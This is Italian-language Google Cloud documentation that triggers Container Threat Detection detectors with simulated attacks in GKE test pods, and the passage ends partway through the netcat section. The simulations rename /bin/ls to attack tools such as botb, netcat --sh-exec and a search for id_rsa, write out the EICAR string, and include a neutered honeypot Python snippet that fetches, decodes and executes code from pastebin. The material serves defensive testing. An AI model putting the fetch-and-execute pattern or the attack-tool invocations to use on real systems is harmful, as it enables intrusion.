Verifica di Container Threat Detection

Questa pagina spiega come verificare il funzionamento di Container Threat Detection attivando intenzionalmente i rilevatori e controllando la presenza di risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare i risultati di Container Threat Detection, questo servizio deve essere abilitato nelle impostazioni Servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster siano eseguiti su una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta l'articolo sull'utilizzo di una versione GKE supportata.

Attiva i rilevatori

I rilevatori Added Binary Executed, Added Library Loaded, Execution: Program Run with Disallowed HTTP Proxy Env, Exfiltration: Launch Remote File Copy Tools in Container e Defense Evasion: Launch Code Compiler Tool In Container sono disabilitati per impostazione predefinita. Per testare questi rilevatori, devi attivarli esplicitamente:

  1. Controlla lo stato del rilevatore:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. Attiva il rilevatore Added Binary Executed:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. Attiva il rilevatore Added Library Loaded:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  4. Attiva il rilevatore Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  5. Attiva il rilevatore Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    
  6. Attiva il rilevatore Defense Evasion: Launch Code Compiler Tool In Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
        --project=${PROJECT}
    

Imposta le variabili di ambiente

Per testare i rilevatori, utilizza la Google Cloud console e Cloud Shell. Puoi impostare le variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i detector di Container Threat Detection.

  1. Vai alla consoleGoogle Cloud .

    Vai alla Google Cloud console

  2. Seleziona il progetto che contiene il contenitore che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente.

    1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE
      
    2. Il progetto in cui si trova il contenitore:

      export PROJECT=PROJECT_ID
      
    3. Il nome del cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Le variabili sono impostate. Le sezioni seguenti includono istruzioni per testare i rilevatori di minacce nei contenitori.

Programma binario aggiuntivo eseguito

Per attivare un rilevamento Programma binario aggiuntivo eseguito, inserisci un file binario nel contenitore e eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione ed esegue il file. L'esecuzione del file binario è inaspettata perché la copia del file binario non faceva parte dell'immagine del contenitore originale, anche se l'immagine è su Ubuntu 24.04 e i contenitori sono pensati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario ed eseguilo:

    • Nodo x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Nodo ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione di codice binario aggiunto che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati relativi ai file binari eseguiti aggiunti. Per visualizzare tutti i risultati relativi all'esecuzione di codice aggiuntivo durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un rilevamento di libreria aggiuntiva caricata, inserisci una libreria nel contenitore e caricala. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia/lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi la carica utilizzandold. La libreria caricata non è prevista perché la copia della libreria non faceva parte dell'immagine del contenitore originale, anche se l'immagine è su Ubuntu 24.04 e i contenitori sono progettati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci una libreria e utilizza ld per caricarla:

    • Nodo x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Nodo ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Questa procedura di test dovrebbe creare un risultato Libreria caricata aggiunta che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati relativi alle librerie caricate aggiunte. Per visualizzare tutti i risultati relativi alla libreria caricata durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Comando e controllo: rilevato strumento di steganografia

Per attivare un rilevamento Command and Control: Steganography Tool Detected (Anteprima), un file binario con funzionalità di manipolazione dei file coerenti con gli strumenti di steganografia deve essere eseguito all'interno di un contenitore. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in steghide (o in un altro strumento di steganografia come stegano). Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di preparare un contenitore per nascondere o estrarre dati, potenzialmente a scopo dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario di uno strumento di steganografia come steghide:

    • Nodo x86:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • Nodo ARM:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Questa procedura di test crea un risultato Command and Control: Steganography Tool Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso con credenziali: cerca chiavi private o password

Per attivare un rilevamento Credential Access: Search Private Keys or Passwords, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un contenitore. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in find (o in un'altra utility di ricerca adatta come grep). Il file binario rinominato viene poi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione viene segnalata come sospetta perché imita il comportamento osservato durante il tentativo di individuare informazioni sensibili come chiavi private o password in un ambiente containerizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • Nodo ARM:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Questa procedura di test dovrebbe creare un risultato Credential Access: Search Private Keys or Passwords che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per il rilevamento delle minacce nei contenitori. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: avvio dello strumento di compilatore di codice nel contenitore

Per attivare un rilevamento Defense Evasion: Launch Code Compiler Tool In Container (Anteprima), uno strumento di compilatore di codice deve essere eseguito all'interno di un contenitore. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in gcc10 (o in un altro compilatore come clang). Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di compilare ed eseguire codice dannoso all'interno del contenitore per eludere il rilevamento o modificarne il comportamento.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario del compilatore come gcc10 con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • Nodo ARM:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: programma binario dannoso aggiuntivo eseguito

Per attivare un rilevamento Esecuzione: programma binario aggiuntivo eseguito, inserisci un programma binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea un file dannoso simulato e poi lo esegue. L'esecuzione del file binario è inaspettata perché il file binario dannoso simulato non faceva parte dell'immagine del contenitore originale e il file binario è un file di test EICAR, un file classificato come dannoso dalle informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: comando binario dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione degli indicatori in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: codice binario dannoso eseguito. Per visualizzare tutti i risultati di Esecuzione: codice binario dannoso eseguito aggiunto durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Esecuzione: evasione dal contenitore

Per attivare un rilevamento di Esecuzione: fuga dal contenitore, inserisci un file binario nel contenutore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (botb-linux-amd64) e lo esegue con argomenti aggiuntivi. Questa azione è considerata sospetta perché l'esecuzione simula un comportamento coerente con un tentativo di fuga dal contenitore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Carica un file binario dello strumento di sfruttamento dei container come botb-linux-amd64 ed eseguilo:

    • Nodo x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Nodo ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Questa procedura di test dovrebbe creare un risultato di tipo Esecuzione: fuga dal contenitore che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione della vulnerabilità Ingress Nightmare

Per attivare un rilevamento di tipo Esecuzione: esecuzione di una vulnerabilità Ingress Nightmare (anteprima), esegui il file binario nginx nel container. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in un file binario Nginx (nginx) e lo esegue con argomenti aggiuntivi che fanno riferimento al file system /proc. Questa azione è considerata sospetta perché simula un comportamento coerente con l'exploit Ingress Nightmare (CVE-2025-1974), indicando quindi una potenziale esecuzione di codice remoto.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un file binario Nginx come nginx ed eseguilo durante l'accesso al file system /proc:

    • Nodo x86:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • Nodo ARM:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Questa procedura di test crea un risultato di esecuzione: vulnerabilità Nightmare di Ingress che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Per attivare un rilevamento Esecuzione: esecuzione di uno strumento di attacco Kubernetes, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (amicontained) ed esegue il comando. Questa azione è considerata sospetta perché simula un comportamento coerente con un potenziale tentativo di esecuzione di uno strumento di attacco Kubernetes.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Carica un file binario dello strumento di attacco Kubernetes come amicontained ed eseguilo:

    • Nodo x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Nodo ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione di uno strumento di attacco Kubernetes che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione degli indicatori in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione dello strumento di ricognizione locale

Per attivare un rilevamento Execution: Local Reconnaissance Tool Execution, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (linenum.sh) ed esegue il comando. Questa azione è considerata sospetta perché l'esecuzione del file binario rinominato simula un comportamento coerente con un tentativo di ricognizione locale.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario dello strumento di ricognizione locale come linenum.sh ed eseguilo:

    • Nodo x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Nodo ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione di strumenti di ricognizione locale che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce ai container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: codice Python dannoso eseguito

Per attivare un rilevamento Esecuzione: codice Python dannoso eseguito, puoi eseguire Python nella procedura seguente nel tuo contenitore.

La procedura esegue il deployment dell'immagine Python più recente, copia il codice Python che sembra dannoso e poi lo esegue. Per attivare un rilevamento, il codice Python deve sembrare dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui il seguente script in un nuovo contenitore.

    Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso. L'esecuzione dello script non causerà attività dannose nel contenitore. Il file binario all'URL a cui si fa riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script in linea attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Questa procedura di test crea un risultato Esecuzione: codice Python dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: programma binario dannoso modificato eseguito

Per attivare un rilevamento Esecuzione: programma binario dannoso modificato eseguito, modifica un programma binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, modifica /bin/ls in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del file binario è inaspettata perché il file /bin/ls creato viene modificato durante il runtime del contenitore come file binario EICAR di test dannoso e il file binario EICAR è un file dannoso noto secondo le informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: codice binario dannoso modificato eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, il Rilevamento delle minacce dei contenitori filtra temporaneamente i risultati di Esecuzione: codice binario dannoso modificato eseguito. Per visualizzare tutti i risultati di Esecuzione: codice binario dannoso modificato eseguito durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Esecuzione: esecuzione di codice remoto Netcat in un contenitore

Per attivare un evento Execution: Netcat Remote Code Execution In Container, è necessario che all'interno del contenitore sia presente ed eseguito un file binario in grado di comunicare in rete (come netcat stesso o una copia rinominata di un'altra utility). Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente come base. Copia il file binario /bin/ls e lo rinomina in netcat (un'utilità di rete). Questo file binario rinominato viene poi eseguito con gli argomenti appropriati per l'interazione di rete. Questa attività viene segnalata come sospetta perché imita il comportamento spesso osservato durante i tentativi effettivi di esecuzione di codice remoto in ambienti containerizzati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario di uno strumento di comunicazione di rete come netcat ed eseguilo con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • Nodo ARM:

